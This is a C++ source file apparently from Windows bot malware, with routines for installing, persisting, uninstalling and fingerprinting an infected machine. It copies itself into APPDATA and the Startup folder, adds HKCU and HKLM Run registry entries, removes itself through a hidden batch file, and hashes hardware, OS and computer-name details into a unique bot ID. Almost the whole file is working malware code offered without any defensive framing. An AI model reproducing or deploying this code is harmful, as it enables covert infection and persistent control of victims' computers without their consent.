#include "bot.h"



void Bot::Install(string path)
{
	const int MAX = 512;
	char self[MAX];
	char dest[MAX];
	char *env = NULL;

	ZeroMemory(&self, sizeof(self));
	ZeroMemory(&dest, sizeof(dest));

	GetModuleFileName(NULL, self, sizeof(self));
	//env = getenv("APPDATA");  not used, because insecure
	size_t len;
	if(_dupenv_s(&env, &len, "APPDATA") != 0)
	{
		isInstalled = false;
		return;
	}
	appdataEnv = env;
	
	char temp[MAX];
	_snprintf_s(temp, sizeof(temp), MAX, "%s\\", env);
	appdataPath.assign(temp);

	_snprintf_s(dest, sizeof(dest), MAX, "%s\\%s", env, FILENAME );

	installAppdata.assign(dest);


	char startup[MAX];
	_snprintf_s(startup, sizeof(startup), MAX, "%s\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s", env, FILENAME);
	installAutostart.assign(startup);
	CopyFile(self, startup, false);

	
	// Check, if the file already exists by trying to open it
	FILE *fileexists;
	fopen_s(&fileexists, dest, "r");
	if(fileexists)
		isInstalled = true;
	else
	{	
		isInstalled = CopyFile(self, dest, false);
	}
	
}

bool Bot::CreateStartup()
{
	HKEY key = NULL;
	int reg = RegCreateKeyEx(	HKEY_CURRENT_USER,
								"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
								0,
								NULL,
								REG_OPTION_NON_VOLATILE,
								KEY_WRITE,
								NULL,
								&key,
								NULL);

	if(reg == ERROR_SUCCESS)
	{
		RegSetValueEx(	key,
						FILENAME,
						0,
						REG_SZ,
						(const unsigned char*) installAppdata.c_str(),
						installAppdata.size() 
						);
		RegCloseKey(key);
		//return true;
	}

	reg = RegCreateKeyEx(	HKEY_LOCAL_MACHINE,
								"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
								0,
								NULL,
								REG_OPTION_NON_VOLATILE,
								KEY_WRITE,
								NULL,
								&key,
								NULL);

	if(reg == ERROR_SUCCESS)
	{
		RegSetValueEx(	key,
						FILENAME,
						0,
						REG_SZ,
						(const unsigned char*) installAppdata.c_str(),
						installAppdata.size() 
						);
		RegCloseKey(key);
		//return true;
	}
//	else
	//	return false;

	/* funktioniert nur mit adminrechten
	reg = RegCreateKeyEx(HKEY_USERS, 
						".DEFAULT\\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
						0,
						NULL,
						REG_OPTION_NON_VOLATILE,
						KEY_WRITE,
						NULL,
						&key,
						NULL);
MessageBox(NULL, "regkey default", "startup", MB_OK);
	if(reg == ERROR_SUCCESS)
	{
		RegSetValueEx(key,
						FILENAME,
						0,
						REG_SZ,
						(const unsigned char*) installAppdata.c_str(),
						installAppdata.size());
		MessageBox(NULL, "regkey default success", "startup", MB_OK);
		RegCloseKey(key);
	}
	*/


	return true;
}

bool Bot::Uninstall()
{

	HKEY key = NULL;
	int reg = RegCreateKeyEx(	HKEY_CURRENT_USER,
								"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
								0,
								NULL,
								REG_OPTION_NON_VOLATILE,
								KEY_WRITE,
								NULL,
								&key,
								NULL);
	int uninst = 0;
	if(reg == ERROR_SUCCESS)
	{
		uninst = RegDeleteValue(	key,
									FILENAME
										);
		RegCloseKey(key);

	}

	// Create bat to delete the own binary, after the bot is already shut down
	FILE *del;
	string tmp = appdataEnv;
	tmp += "\\uninst.bat";

	fopen_s(&del, tmp.c_str(), "w");
	if(del != NULL)
	{
		char self[512];
		ZeroMemory(&self, sizeof(self));
		GetModuleFileName(NULL, self, sizeof(self));

		// pings are used as sleep() function to give the bot time to stop
		string delstring = "ping localhost\nping localhost\nping localhost\n del \"";
		delstring += installAppdata;
		delstring += "\"";
		delstring +="\ndel \"";
		delstring += installAutostart;
		delstring += "\"";
		fputs(delstring.c_str(), del);
		fclose(del);

		ShellExecute(NULL, "open", tmp.c_str(), NULL, NULL, SW_HIDE);
		return true;
	}
	else
		return false;
}

information Bot::GetInfo()
{
	information info;
	const int max = 128;
	char country[max];
	GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_ICOUNTRY, country, sizeof(country) );
	info.Country = country;

	HKEY key = NULL;

	// Get mainboard name
	RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", &key);
	if(key != NULL)
	{
		BYTE temp[max];
		DWORD len = sizeof(temp);
		RegQueryValueEx(key, "BaseBoardProduct", NULL, NULL, temp, &len);
		info.Mainboard += (char*)temp;
		ZeroMemory(&temp, sizeof(temp));
		RegCloseKey(key);
	}

	// Get Computer Manufacturer 
	ZeroMemory(&key, sizeof(key));
	RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", &key);
	if(key != NULL)
	{
		BYTE temp[max];
		DWORD len = sizeof(temp);
		RegQueryValueEx(key, "SystemManufacturer", NULL, NULL, temp, &len);
		info.Manufact += (char*)temp;
		ZeroMemory(&temp, sizeof(temp));
		RegCloseKey(key);
	}


	//  Get CPU name
	ZeroMemory(&key, sizeof(key));
	RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &key);
	if(key != NULL)
	{
		BYTE temp[max];
		DWORD len = sizeof(temp);
		RegQueryValueEx(key, "ProcessorNameString", NULL, NULL, temp, &len);
		info.CPU += (char*)temp;
		ZeroMemory(&temp, sizeof(temp));
		RegCloseKey(key);
	}

	// Get Windows Version
	ZeroMemory(&key, sizeof(key));
	RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", &key);
	if(key != NULL)
	{
		BYTE temp[max];
		DWORD len = sizeof(temp);
		RegQueryValueEx(key, "ProductName", NULL, NULL, temp, &len);
		info.OS += (char*)temp;

		if(info.OS.find("Windows 7") != -1 ) 
			info.OS = "win7";
		else if (info.OS.find("Windows Vista") != -1 ) 
			info.OS = "winvista";
		else if (info.OS.find("Windows XP") != -1 ) 
			info.OS = "winxp";
		else
			info.OS = "other";

		ZeroMemory(&temp, sizeof(temp));
		RegCloseKey(key);
	}

	char VolumeName[max], FileSystem[max]; //

	// Get Volumne serial number
	unsigned long int serial;
	BOOL check = GetVolumeInformation("C:\\", VolumeName, sizeof(VolumeName), &serial, NULL, NULL, FileSystem, sizeof(FileSystem));
	
	string t;
	char temporal[max];
	sprintf_s(temporal, sizeof(temporal), "%lu", serial);
	t = temporal;
	if(check != 0)
		info.HDDSerial = t;

	// Get Computer name
	const int MAX_COMP_NAME = 128;
	TCHAR chrComputerName[MAX_COMP_NAME+1];
	DWORD dwBufferSize = MAX_COMP_NAME+1;
	GetComputerName(chrComputerName, &dwBufferSize);
	info.PCName = chrComputerName;

	// Combining the infos, then md5 it to get an unique computer hash
	info.Country = country;
	string tempID = info.Country +
					info.CPU +
					info.Mainboard +
					info.Manufact +
					info.OS +
					info.HDDSerial +
					info.PCName;
	info.BotID = md5(tempID);

	return info;
}
